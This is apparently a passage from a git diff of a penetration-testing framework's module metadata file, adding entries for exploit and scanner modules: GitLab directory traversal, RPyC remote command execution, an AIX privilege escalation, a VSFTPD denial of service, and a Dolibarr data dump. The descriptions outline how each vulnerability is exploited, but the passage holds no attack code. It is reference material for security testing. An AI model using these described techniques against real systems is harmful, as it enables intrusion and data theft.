"V3_8_3_SNAPSHOT", + "V3_8_3", + "V3_8_4_SNAPSHOT", + "V3_8_4", + "V3_8_5_SNAPSHOT", + "V3_8_5", + "V3_8_6_SNAPSHOT", + "V3_8_6", + "V3_8_7_SNAPSHOT", + "V3_8_7", + "V3_8_8_SNAPSHOT", + "V3_8_8", + "V3_8_9_SNAPSHOT", + "V3_8_9", + "V3_9_1_SNAPSHOT", + "V3_9_1", + "V3_9_2_SNAPSHOT", + "V3_9_2", + "V3_9_3_SNAPSHOT", + "V3_9_3", + "V3_9_4_SNAPSHOT", + "V3_9_4", + "V3_9_5_SNAPSHOT", + "V3_9_5", + "V3_9_6_SNAPSHOT", + "V3_9_6", + "V3_9_7_SNAPSHOT", + "V3_9_7", + "V3_9_8_SNAPSHOT", + "V3_9_8", + "V3_9_9_SNAPSHOT", + "V3_9_9", + "V4_0_0_SNAPSHOT", + "V4_0_0", + "V4_0_1_SNAPSHOT", + "V4_0_1", + "V4_0_2_SNAPSHOT", + "V4_0_2", + "V4_0_3_SNAPSHOT", + "V4_0_3", + "V4_0_4_SNAPSHOT", + "V4_0_4", + "V4_0_5_SNAPSHOT", + "V4_0_5", + "V4_0_6_SNAPSHOT", + "V4_0_6", + "V4_0_7_SNAPSHOT", + "V4_0_7", + "V4_0_8_SNAPSHOT", + "V4_0_8", + "V4_0_9_SNAPSHOT", + "V4_0_9", + "V4_1_0_SNAPSHOT", + "V4_1_0", + "V4_1_1_SNAPSHOT", + "V4_1_1", + "V4_1_2_SNAPSHOT", + "V4_1_2", + "V4_1_3_SNAPSHOT", + "V4_1_3", + "V4_1_4_SNAPSHOT", + "V4_1_4", + "V4_1_5_SNAPSHOT", + "V4_1_5", + "V4_1_6_SNAPSHOT", + "V4_1_6", + "V4_1_7_SNAPSHOT", + "V4_1_7", + "V4_1_8_SNAPSHOT", + "V4_1_8", + "V4_1_9_SNAPSHOT", + "V4_1_9", + "V4_2_0_SNAPSHOT", + "V4_2_0", + "V4_2_1_SNAPSHOT", + "V4_2_1", + "V4_2_2_SNAPSHOT", + "V4_2_2", + "V4_2_3_SNAPSHOT", + "V4_2_3", + "V4_2_4_SNAPSHOT", + "V4_2_4", + "V4_2_5_SNAPSHOT", + "V4_2_5", + "V4_2_6_SNAPSHOT", + "V4_2_6", + "V4_2_7_SNAPSHOT", + "V4_2_7", + "V4_2_8_SNAPSHOT", + "V4_2_8", + "V4_2_9_SNAPSHOT", + "V4_2_9", + "V4_3_0_SNAPSHOT", + "V4_3_0", + "V4_3_1_SNAPSHOT", + "V4_3_1", + "V4_3_2_SNAPSHOT", + "V4_3_2", + "V4_3_3_SNAPSHOT", + "V4_3_3", + "V4_3_4_SNAPSHOT", + "V4_3_4", + "V4_3_5_SNAPSHOT", + "V4_3_5", + "V4_3_6_SNAPSHOT", + "V4_3_6", + "V4_3_7_SNAPSHOT", + "V4_3_7", + "V4_3_8_SNAPSHOT", + "V4_3_8", + "V4_3_9_SNAPSHOT", + "V4_3_9", + "V4_4_0_SNAPSHOT", + "V4_4_0", + "V4_4_1_SNAPSHOT", + "V4_4_1", + "V4_4_2_SNAPSHOT", + "V4_4_2", + "V4_4_3_SNAPSHOT", + "V4_4_3", + "V4_4_4_SNAPSHOT", + "V4_4_4", + "V4_4_5_SNAPSHOT", + "V4_4_5", + "V4_4_6_SNAPSHOT", + "V4_4_6", + "V4_4_7_SNAPSHOT", + "V4_4_7", + "V4_4_8_SNAPSHOT", + "V4_4_8", + "V4_4_9_SNAPSHOT", + "V4_4_9", + "V4_5_0_SNAPSHOT", + "V4_5_0", + "V4_5_1_SNAPSHOT", + "V4_5_1", + "V4_5_2_SNAPSHOT", + "V4_5_2", + "V4_5_3_SNAPSHOT", + "V4_5_3", + "V4_5_4_SNAPSHOT", + "V4_5_4", + "V4_5_5_SNAPSHOT", + "V4_5_5", + "V4_5_6_SNAPSHOT", + "V4_5_6", + "V4_5_7_SNAPSHOT", + "V4_5_7", + "V4_5_8_SNAPSHOT", + "V4_5_8", + "V4_5_9_SNAPSHOT", + "V4_5_9", + "V4_6_0_SNAPSHOT", + "V4_6_0", + "V4_6_1_SNAPSHOT", + "V4_6_1", + "V4_6_2_SNAPSHOT", + "V4_6_2", + "V4_6_3_SNAPSHOT", + "V4_6_3", + "V4_6_4_SNAPSHOT", + "V4_6_4", + "V4_6_5_SNAPSHOT", + "V4_6_5", + "V4_6_6_SNAPSHOT", + "V4_6_6", + "V4_6_7_SNAPSHOT", + "V4_6_7", + "V4_6_8_SNAPSHOT", + "V4_6_8", + "V4_6_9_SNAPSHOT", + "V4_6_9", + "V4_7_0_SNAPSHOT", + "V4_7_0", + "V4_7_1_SNAPSHOT", + "V4_7_1", + "V4_7_2_SNAPSHOT", + "V4_7_2", + "V4_7_3_SNAPSHOT", + "V4_7_3", + "V4_7_4_SNAPSHOT", + "V4_7_4", + "V4_7_5_SNAPSHOT", + "V4_7_5", + "V4_7_6_SNAPSHOT", + "V4_7_6", + "V4_7_7_SNAPSHOT", + "V4_7_7", + "V4_7_8_SNAPSHOT", + "V4_7_8", + "V4_7_9_SNAPSHOT", + "V4_7_9", + "V4_8_0_SNAPSHOT", + "V4_8_0", + "V4_8_1_SNAPSHOT", + "V4_8_1", + "V4_8_2_SNAPSHOT", + "V4_8_2", + "V4_8_3_SNAPSHOT", + "V4_8_3", + "V4_8_4_SNAPSHOT", + "V4_8_4", + "V4_8_5_SNAPSHOT", + "V4_8_5", + "V4_8_6_SNAPSHOT", + "V4_8_6", + "V4_8_7_SNAPSHOT", + "V4_8_7", + "V4_8_8_SNAPSHOT", + "V4_8_8", + "V4_8_9_SNAPSHOT", + "V4_8_9", + "V4_9_0_SNAPSHOT", + "V4_9_0", + "V4_9_1_SNAPSHOT", + "V4_9_1", + "V4_9_2_SNAPSHOT", + "V4_9_2", + "V4_9_3_SNAPSHOT", + "V4_9_3", + "V4_9_4_SNAPSHOT", + "V4_9_4", + "V4_9_5_SNAPSHOT", + "V4_9_5", + "V4_9_6_SNAPSHOT", + "V4_9_6", + "V4_9_7_SNAPSHOT", + "V4_9_7", + "V4_9_8_SNAPSHOT", + "V4_9_8", + "V4_9_9_SNAPSHOT", + "V4_9_9", + "V5_0_0_SNAPSHOT", + "V5_0_0", + "V5_0_1_SNAPSHOT", + "V5_0_1", + "V5_0_2_SNAPSHOT", + "V5_0_2", + "V5_0_3_SNAPSHOT", + "V5_0_3", + "V5_0_4_SNAPSHOT", + "V5_0_4", + "V5_0_5_SNAPSHOT", + "V5_0_5", + "V5_0_6_SNAPSHOT", + "V5_0_6", + "V5_0_7_SNAPSHOT", + "V5_0_7", + "V5_0_8_SNAPSHOT", + "V5_0_8", + "V5_0_9_SNAPSHOT", + "V5_0_9", + "V5_1_0_SNAPSHOT", + "V5_1_0", + "V5_1_1_SNAPSHOT", + "V5_1_1", + "V5_1_2_SNAPSHOT", + "V5_1_2", + "V5_1_3_SNAPSHOT", + "V5_1_3", + "V5_1_4_SNAPSHOT", + "V5_1_4", + "V5_1_5_SNAPSHOT", + "V5_1_5", + "V5_1_6_SNAPSHOT", + "V5_1_6", + "V5_1_7_SNAPSHOT", + "V5_1_7", + "V5_1_8_SNAPSHOT", + "V5_1_8", + "V5_1_9_SNAPSHOT", + "V5_1_9", + "V5_2_0_SNAPSHOT", + "V5_2_0", + "V5_2_1_SNAPSHOT", + "V5_2_1", + "V5_2_2_SNAPSHOT", + "V5_2_2", + "V5_2_3_SNAPSHOT", + "V5_2_3", + "V5_2_4_SNAPSHOT", + "V5_2_4", + "V5_2_5_SNAPSHOT", + "V5_2_5", + "V5_2_6_SNAPSHOT", + "V5_2_6", + "V5_2_7_SNAPSHOT", + "V5_2_7", + "V5_2_8_SNAPSHOT", + "V5_2_8", + "V5_2_9_SNAPSHOT", + "V5_2_9", + "V5_3_0_SNAPSHOT", + "V5_3_0", + "V5_3_1_SNAPSHOT", + "V5_3_1", + "V5_3_2_SNAPSHOT", + "V5_3_2", + "V5_3_3_SNAPSHOT", + "V5_3_3", + "V5_3_4_SNAPSHOT", + "V5_3_4", + "V5_3_5_SNAPSHOT", + "V5_3_5", + "V5_3_6_SNAPSHOT", + "V5_3_6", + "V5_3_7_SNAPSHOT", + "V5_3_7", + "V5_3_8_SNAPSHOT", + "V5_3_8", + "V5_3_9_SNAPSHOT", + "V5_3_9", + "V5_4_0_SNAPSHOT", + "V5_4_0", + "V5_4_1_SNAPSHOT", + "V5_4_1", + "V5_4_2_SNAPSHOT", + "V5_4_2", + "V5_4_3_SNAPSHOT", + "V5_4_3", + "V5_4_4_SNAPSHOT", + "V5_4_4", + "V5_4_5_SNAPSHOT", + "V5_4_5", + "V5_4_6_SNAPSHOT", + "V5_4_6", + "V5_4_7_SNAPSHOT", + "V5_4_7", + "V5_4_8_SNAPSHOT", + "V5_4_8", + "V5_4_9_SNAPSHOT", + "V5_4_9", + "V5_5_0_SNAPSHOT", + "V5_5_0", + "V5_5_1_SNAPSHOT", + "V5_5_1", + "V5_5_2_SNAPSHOT", + "V5_5_2", + "V5_5_3_SNAPSHOT", + "V5_5_3", + "V5_5_4_SNAPSHOT", + "V5_5_4", + "V5_5_5_SNAPSHOT", + "V5_5_5", + "V5_5_6_SNAPSHOT", + "V5_5_6", + "V5_5_7_SNAPSHOT", + "V5_5_7", + "V5_5_8_SNAPSHOT", + "V5_5_8", + "V5_5_9_SNAPSHOT", + "V5_5_9", + "V5_6_0_SNAPSHOT", + "V5_6_0", + "V5_6_1_SNAPSHOT", + "V5_6_1", + "V5_6_2_SNAPSHOT", + "V5_6_2", + "V5_6_3_SNAPSHOT", + "V5_6_3", + "V5_6_4_SNAPSHOT", + "V5_6_4", + "V5_6_5_SNAPSHOT", + "V5_6_5", + "V5_6_6_SNAPSHOT", + "V5_6_6", + "V5_6_7_SNAPSHOT", + "V5_6_7", + "V5_6_8_SNAPSHOT", + "V5_6_8", + "V5_6_9_SNAPSHOT", + "V5_6_9", + "V5_7_0_SNAPSHOT", + "V5_7_0", + "V5_7_1_SNAPSHOT", + "V5_7_1", + "V5_7_2_SNAPSHOT", + "V5_7_2", + "V5_7_3_SNAPSHOT", + "V5_7_3", + "V5_7_4_SNAPSHOT", + "V5_7_4", + "V5_7_5_SNAPSHOT", + "V5_7_5", + "V5_7_6_SNAPSHOT", + "V5_7_6", + "V5_7_7_SNAPSHOT", + "V5_7_7", + "V5_7_8_SNAPSHOT", + "V5_7_8", + "V5_7_9_SNAPSHOT", + "V5_7_9", + "V5_8_0_SNAPSHOT", + "V5_8_0", + "V5_8_1_SNAPSHOT", + "V5_8_1", + "V5_8_2_SNAPSHOT", + "V5_8_2", + "V5_8_3_SNAPSHOT", + "V5_8_3", + "V5_8_4_SNAPSHOT", + "V5_8_4", + "V5_8_5_SNAPSHOT", + "V5_8_5", + "V5_8_6_SNAPSHOT", + "V5_8_6", + "V5_8_7_SNAPSHOT", + "V5_8_7", + "V5_8_8_SNAPSHOT", + "V5_8_8", + "V5_8_9_SNAPSHOT", + "V5_8_9", + "V5_9_0_SNAPSHOT", + "V5_9_0", + "V5_9_1_SNAPSHOT", + "V5_9_1", + "V5_9_2_SNAPSHOT", + "V5_9_2", + "V5_9_3_SNAPSHOT", + "V5_9_3", + "V5_9_4_SNAPSHOT", + "V5_9_4", + "V5_9_5_SNAPSHOT", + "V5_9_5", + "V5_9_6_SNAPSHOT", + "V5_9_6", + "V5_9_7_SNAPSHOT", + "V5_9_7", + "V5_9_8_SNAPSHOT", + "V5_9_8", + "V5_9_9_SNAPSHOT", + "V5_9_9", + "HIGHER_VERSION" + ] \ No newline at end of file diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 46d02820601a1..5a5888bb709d3 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -5408,7 +5408,7 @@ ], "targets": null, - "mod_time": "2023-03-08 16:15:24 +0000", + "mod_time": "2023-06-13 09:14:06 +0000", "path": "/modules/auxiliary/admin/kerberos/keytab.rb", "is_install_path": true, "ref_name": "admin/kerberos/keytab", @@ -5527,6 +5527,57 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_admin/ldap/ad_cs_cert_template": { + "name": "AD CS Certificate Template Management", + "fullname": "auxiliary/admin/ldap/ad_cs_cert_template", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "Will Schroeder", + "Lee Christensen", + "Oliver Lyak", + "Spencer McIntyre" + ], + "description": "This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain\n Controller.\n\n The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be\n restored using the CREATE or UPDATE actions.", + "references": [ + "URL-https://github.com/GhostPack/Certify", + "URL-https://github.com/ly4k/Certipy" + ], + "platform": "", + "arch": "", + "rport": 389, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-05-04 09:17:16 +0000", + "path": "/modules/auxiliary/admin/ldap/ad_cs_cert_template.rb", + "is_install_path": true, + "ref_name": "admin/ldap/ad_cs_cert_template", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + + ], + "SideEffects": [ + "config-changes" + ], + "Reliability": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_admin/ldap/rbcd": { "name": "Role Base Constrained Delegation", "fullname": "auxiliary/admin/ldap/rbcd", @@ -10793,6 +10844,53 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_cloud/aws/enum_ssm": { + "name": "Amazon Web Services EC2 instance enumeration", + "fullname": "auxiliary/cloud/aws/enum_ssm", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "RageLtMan " + ], + "description": "Provided AWS credentials, this module will call the authenticated\n API of Amazon Web Services to list all SSM-enabled EC2 instances\n accessible to the account. Once enumerated as SSM-enabled, the\n instances can be controlled using out-of-band WebSocket sessions\n provided by the AWS API (nominally, privileged out of the box).\n This module provides not only the API enumeration identifying EC2\n instances accessible via SSM with given credentials, but enables\n session initiation for all identified targets (without requiring\n target-level credentials) using the CreateSession mixin option.\n The module also provides an EC2 ID filter and a limiting throttle\n to prevent session stampedes or expensive messes.", + "references": [ + + ], + "platform": "", + "arch": "", + "rport": null, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-05-22 17:11:16 +0000", + "path": "/modules/auxiliary/cloud/aws/enum_ssm.rb", + "is_install_path": true, + "ref_name": "cloud/aws/enum_ssm", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "SideEffects": [ + "ioc-in-logs" + ], + "Reliability": [ + + ], + "Stability": [ + "crash-safe" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_cloud/kubernetes/enum_kubernetes": { "name": "Kubernetes Enumeration", "fullname": "auxiliary/cloud/kubernetes/enum_kubernetes", @@ -11382,6 +11480,59 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_dos/ftp/vsftpd_232": { + "name": "VSFTPD 2.3.2 Denial of Service", + "fullname": "auxiliary/dos/ftp/vsftpd_232", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2011-02-03", + "type": "auxiliary", + "author": [ + "Nick Cottrell (Rad10Logic) ", + "Anna Graterol ", + "Mana Mostaani ", + "Maksymilian Arciemowicz" + ], + "description": "This module triggers a Denial of Service condition in the VSFTPD server in\n versions before 2.3.3. So far, it has been tested on 2.3.0, 2.3.1, and 2.3.2.", + "references": [ + "BID-46617", + "CVE-2011-0762", + "EDB-16270" + ], + "platform": "", + "arch": "", + "rport": 21, + "autofilter_ports": [ + 21, + 2121 + ], + "autofilter_services": [ + "ftp" + ], + "targets": null, + "mod_time": "2023-05-25 21:21:49 +0000", + "path": "/modules/auxiliary/dos/ftp/vsftpd_232.rb", + "is_install_path": true, + "ref_name": "dos/ftp/vsftpd_232", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-service-down" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_dos/hp/data_protector_rds": { "name": "HP Data Protector Manager RDS DOS", "fullname": "auxiliary/dos/hp/data_protector_rds", @@ -19110,6 +19261,67 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_gather/gitlab_authenticated_subgroups_file_read": { + "name": "GitLab Authenticated File Read", + "fullname": "auxiliary/gather/gitlab_authenticated_subgroups_file_read", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-05-23", + "type": "auxiliary", + "author": [ + "h00die", + "pwnie", + "Vitellozzo" + ], + "description": "GitLab version 16.0 contains a directory traversal for arbitrary file read\n as the `gitlab-www` user. This module requires authentication for exploitation.\n In order to use this module, a user must be able to create a project and groups.\n When exploiting this vulnerability, there is a direct correlation between the traversal\n depth, and the depth of groups the vulnerable project is in. The minimum for this seems\n to be 5, but up to 11 have also been observed. An example of this, is if the directory\n traversal needs a depth of 11, a group\n and 10 nested child groups, each a sub of the previous, will be created (adding up to 11).\n Visually this looks like:\n Group1->sub1->sub2->sub3->sub4->sub5->sub6->sub7->sub8->sub9->sub10.\n If the depth was 5, a group and 4 nested child groups would be created.\n With all these requirements satisfied a dummy file is uploaded, and the full\n traversal is then executed. Cleanup is performed by deleting the first group which\n cascades to deleting all other objects created.", + "references": [ + "URL-https://about.gitlab.com/releases/2023/05/23/critical-security-release-gitlab-16-0-1-released/", + "URL-https://github.com/Occamsec/CVE-2023-2825", + "URL-https://labs.watchtowr.com/gitlab-arbitrary-file-read-gitlab-cve-2023-2825-analysis/", + "CVE-2023-2825" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-06-06 16:24:38 +0000", + "path": "/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.rb", + "is_install_path": true, + "ref_name": "gather/gitlab_authenticated_subgroups_file_read", + "check": true, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_gather/grandstream_ucm62xx_sql_account_guess": { "name": "Grandstream UCM62xx IP PBX WebSocket Blind SQL Injection Credential Dump", "fullname": "auxiliary/gather/grandstream_ucm62xx_sql_account_guess", @@ -19500,7 +19712,7 @@ "https" ], "targets": null, - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2023-05-28 00:29:17 +0000", "path": "/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb", "is_install_path": true, "ref_name": "gather/ibm_sametime_enumerate_users", @@ -22184,6 +22396,65 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_gather/tplink_archer_c7_traversal": { + "name": "Archer C7 Directory Traversal Vulnerability", + "fullname": "auxiliary/gather/tplink_archer_c7_traversal", + "aliases": [ + "auxiliary/scanner/http/archer_c7_traversal" + ], + "rank": 300, + "disclosure_date": "2015-04-08", + "type": "auxiliary", + "author": [ + "Nick Cottrell ", + "Anna Graterol ", + "Mana Mostaani " + ], + "description": "This module exploits a directory traversal vulnerability in the PATH_INFO found at /login/\n on TP-Link Archer C5, C7, and C9 routers of varying versions.", + "references": [ + "BID-74050 ", + "CVE-2015-3035" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-06-02 16:32:37 +0000", + "path": "/modules/auxiliary/gather/tplink_archer_c7_traversal.rb", + "is_install_path": true, + "ref_name": "gather/tplink_archer_c7_traversal", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_gather/trackit_sql_domain_creds": { "name": "BMC / Numara Track-It! Domain Administrator and SQL Server User Password Disclosure", "fullname": "auxiliary/gather/trackit_sql_domain_creds", @@ -25484,6 +25755,118 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/apache_nifi_login": { + "name": "Apache NiFi Login Scanner", + "fullname": "auxiliary/scanner/http/apache_nifi_login", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "h00die" + ], + "description": "This module attempts to take login details for Apache NiFi websites\n and identify if they are valid or not.\n\n Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.13.0\n Also works against NiFi <= 1.13.0, but the module needs to be adjusted:\n set SSL false\n set rport 8080", + "references": [ + + ], + "platform": "", + "arch": "", + "rport": 8443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-05-31 10:34:10 +0000", + "path": "/modules/auxiliary/scanner/http/apache_nifi_login.rb", + "is_install_path": true, + "ref_name": "scanner/http/apache_nifi_login", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false + }, + "auxiliary_scanner/http/apache_nifi_version": { + "name": "Apache NiFi Version Scanner", + "fullname": "auxiliary/scanner/http/apache_nifi_version", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "h00die" + ], + "description": "This module identifies Apache NiFi websites and reports their version number.\n\n Tested against NiFi major releases 1.14.0 - 1.21.0, and 1.11.0-1.13.0\n Also works against NiFi <= 1.13.0, but the module needs to be adjusted:\n set SSL false\n set rport 8080", + "references": [ + + ], + "platform": "", + "arch": "", + "rport": 8443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-05-26 15:47:22 +0000", + "path": "/modules/auxiliary/scanner/http/apache_nifi_version.rb", + "is_install_path": true, + "ref_name": "scanner/http/apache_nifi_version", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/apache_normalize_path": { "name": "Apache 2.4.49/2.4.50 Traversal RCE scanner", "fullname": "auxiliary/scanner/http/apache_normalize_path", @@ -28290,6 +28673,66 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/dolibarr_16_contact_dump": { + "name": "Dolibarr 16 pre-auth contact database dump", + "fullname": "auxiliary/scanner/http/dolibarr_16_contact_dump", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-03-14", + "type": "auxiliary", + "author": [ + "Vladimir TOUTAIN", + "Nolan LOSSIGNOL-DRILLIEN" + ], + "description": "Dolibarr version 16 < 16.0.5 is vulnerable to a pre-authentication contact database dump.\n An unauthenticated attacker may retreive a company’s entire customer file, prospects, suppliers,\n and potentially employee information if a contact file exists.\n Both public and private notes are also included in the dump.", + "references": [ + "URL-https://www.dsecbypass.com/en/dolibarr-pre-auth-contact-database-dump/", + "URL-https://github.com/Dolibarr/dolibarr/blob/16.0.5/ChangeLog#L34", + "URL-https://github.com/Dolibarr/dolibarr/commit/bb7b69ef43673ed403436eac05e0bc31d5033ff7", + "URL-https://github.com/Dolibarr/dolibarr/commit/be82f51f68d738cce205f4ce5b469ef42ed82d9e" + ], + "platform": "", + "arch": "", + "rport": 80, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": null, + "mod_time": "2023-05-24 09:28:41 +0000", + "path": "/modules/auxiliary/scanner/http/dolibarr_16_contact_dump.rb", + "is_install_path": true, + "ref_name": "scanner/http/dolibarr_16_contact_dump", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + + ], + "SideEffects": [ + "ioc-in-logs" + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/dolibarr_login": { "name": "Dolibarr ERP/CRM Login Utility", "fullname": "auxiliary/scanner/http/dolibarr_login", @@ -29989,7 +30432,7 @@ "https" ], "targets": null, - "mod_time": "2021-12-19 16:18:05 +0000", + "mod_time": "2023-06-07 11:34:00 +0000", "path": "/modules/auxiliary/scanner/http/grafana_plugin_traversal.rb", "is_install_path": true, "ref_name": "scanner/http/grafana_plugin_traversal", @@ -32953,7 +33396,7 @@ "https" ], "targets": null, - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2023-06-01 12:38:20 +0000", "path": "/modules/auxiliary/scanner/http/ms15_034_http_sys_memory_dump.rb", "is_install_path": true, "ref_name": "scanner/http/ms15_034_http_sys_memory_dump", @@ -34584,6 +35027,47 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/http/rpyc_rce": { + "name": "RPyC 4.1.0 through 4.1.1 Remote Command Execution", + "fullname": "auxiliary/scanner/http/rpyc_rce", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": "2023-02-19", + "type": "auxiliary", + "author": [ + "Aaron Meese <@ajmeese7>", + "Jamie Hill-Daniel <@clubby789>" + ], + "description": "This module allows remote command execution on RPyC versions 4.1.0 and 4.1.1.\n You will be able to execute a specified command on the target machine as\n the user running the RPyC service and view the output.", + "references": [ + "CVE-2019-16328", + "URL-https://github.com/advisories/GHSA-pj4g-4488-wmxm", + "URL-https://gist.github.com/clubby789/b681e7a40da070713c3760953d8df1c3" + ], + "platform": "", + "arch": "", + "rport": 18812, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-03-09 15:55:51 +0000", + "path": "/modules/auxiliary/scanner/http/rpyc_rce.py", + "is_install_path": true, + "ref_name": "scanner/http/rpyc_rce", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/http/s40_traversal": { "name": "S40 0.4.2 CMS Directory Traversal Vulnerability", "fullname": "auxiliary/scanner/http/s40_traversal", @@ -40685,6 +41169,55 @@ "session_types": false, "needs_cleanup": false }, + "auxiliary_scanner/misc/rocketmq_version": { + "name": "Apache RocketMQ Version Scanner", + "fullname": "auxiliary/scanner/misc/rocketmq_version", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "auxiliary", + "author": [ + "h00die", + "Malayke" + ], + "description": "Version scanner for the Apache RocketMQ product.", + "references": [ + "URL-https://github.com/Malayke/CVE-2023-33246_RocketMQ_RCE_EXPLOIT/blob/main/check.py", + "URL-https://github.com/apache/rocketmq" + ], + "platform": "", + "arch": "", + "rport": 9876, + "autofilter_ports": [ + + ], + "autofilter_services": [ + + ], + "targets": null, + "mod_time": "2023-06-08 16:38:22 +0000", + "path": "/modules/auxiliary/scanner/misc/rocketmq_version.rb", + "is_install_path": true, + "ref_name": "scanner/misc/rocketmq_version", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + + ], + "Reliability": [ + + ], + "SideEffects": [ + + ] + }, + "session_types": false, + "needs_cleanup": false + }, "auxiliary_scanner/misc/rosewill_rxs3211_passwords": { "name": "Rosewill RXS-3211 IP Camera Password Retriever", "fullname": "auxiliary/scanner/misc/rosewill_rxs3211_passwords", @@ -54906,7 +55439,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2018-08-23 15:20:56 +0000", + "mod_time": "2023-05-25 23:46:18 +0000", "path": "/modules/encoders/cmd/brace.rb", "is_install_path": true, "ref_name": "cmd/brace", @@ -55077,7 +55610,7 @@ "autofilter_ports": null, "autofilter_services": null, "targets": null, - "mod_time": "2017-07-24 06:26:21 +0000", + "mod_time": "2023-06-02 10:22:56 +0000", "path": "/modules/encoders/cmd/powershell_base64.rb", "is_install_path": true, "ref_name": "cmd/powershell_base64", @@ -56821,7 +57354,7 @@ "URL-http://www-01.ibm.com/support/docview.wss?uid=isg1IV43827", "URL-http://www-01.ibm.com/support/docview.wss?uid=isg1IV43756" ], - "platform": "Unix", + "platform": "AIX,Unix", "arch": "cmd", "rport": null, "autofilter_ports": [ @@ -56834,7 +57367,7 @@ "IBM AIX Version 6.1", "IBM AIX Version 7.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2023-05-13 01:27:53 +0000", "path": "/modules/exploits/aix/local/ibstat_path.rb", "is_install_path": true, "ref_name": "aix/local/ibstat_path", @@ -56842,12 +57375,75 @@ "post_auth": false, "default_credential": false, "notes": { + "Stability": [ + "crash-safe" + ], + "Reliability": [ + "repeatable-session" + ], + "SideEffects": [ + "artifacts-on-disk" + ] }, "session_types": [ - + "shell" ], "needs_cleanup": true }, + "exploit_aix/local/invscout_rpm_priv_esc": { + "name": "invscout RPM Privilege Escalation", + "fullname": "exploit/aix/local/invscout_rpm_priv_esc", + "aliases": [ + + ], + "rank": 600, + "disclosure_date": "2023-04-24", + "type": "exploit", + "author": [ + "Tim Brown", + "bcoles " + ], + "description": "This module exploits a command injection vulnerability in IBM AIX\n invscout set-uid root utility present in AIX 7.2 and earlier.\n\n The undocumented -rpm argument can be used to install an RPM file;\n and the undocumented -o argument passes arguments to the rpm utility\n without validation, leading to command injection with effective-uid\n root privileges.\n\n This module has been tested successfully on AIX 7.2.", + "references": [ + 